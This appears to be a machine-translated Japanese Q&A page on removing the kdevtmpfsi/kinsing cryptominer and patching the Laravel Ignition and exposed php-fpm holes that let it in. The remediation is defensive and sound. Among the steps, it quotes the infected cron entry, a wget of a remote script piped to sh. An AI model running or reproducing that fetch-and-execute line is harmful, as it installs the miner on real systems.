ここで述べた解決策はうまくいきました。基本的に、マイナーが使用するファイルは何の権限もなく作成するため、マイナーはそれらを作成して使用することはできません。https://github.com/docker-library/redis/issues/217
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "everything is good here" > /tmp/kdevtmpfsi
echo "everything is good here" > /var/tmp/kinsing
touch /tmp/zzz
echo "everything is good here" > /tmp/zzz
chmod go-rwx /var/tmp
chmod 1777 /tmp
Centos 8 の Laravel で同じ問題が発生しました。これは、マルウェアを削除してシステムにパッチを適用するための手順です。
システム ステップからマルウェアを削除する:ステップ 1:
マルウェアを削除:
2 つのプロセスを強制終了します (kdevtmpfsi
と kinsing
-同じ名前でも末尾にランダムな文字を使用できます-) htop
を使用 またはその他のプロセス マネージャー。
htop F3 でサービスを検索 kdevtmpfsi および kinsing
以下を使用して、ファイルを見つけて削除します:
# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;
出力は次のようになります:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
ステップ 2:
cron ジョブを確認する:
マルウェアを再初期化する cron ジョブがあるかどうかを確認します。
私は次の場所で見つけました:/var/spool/cron/apache
>
UBUNTU /var/spool/cron/crontabs/www-data
次のものが含まれていました。
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
ステップ 3:
新しいファイルを作成して読み取り専用にする:
# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing
Laravel プロジェクトへのパッチ適用:ステップ 1:
APP_DEBUG をオフにする:
APP_DEBUG
であることを確認してください 属性は false
です .env
で それが脆弱性へのアクセス方法だからです。
ステップ 2:
イグニッションの更新:
イグニッションを 2.5.1
以降のバージョンに更新します 脆弱性にパッチが適用されていることを確認します。
プロジェクト フォルダで以下を実行します:
$ composer update facade/ignition
私はこのマイナーで数日間苦労しましたが、私の場合は php-fpm:9000
でした ポート露出。
この方法でコードをリモートで注入できると思います。
したがって、 docker
を使用する場合 php-fpm
で 、実行しないでください コンテナをこのように:
docker run -v /www:/var/www -p 9000:9000 php:7.4
ポート マッピングを削除します:-p 9000:9000
デル> .
コンテナを再構築して再起動することを忘れないでください。
詳細はこちら:https://github.com/laradock/laradock/issues/2451#issuecomment-577722571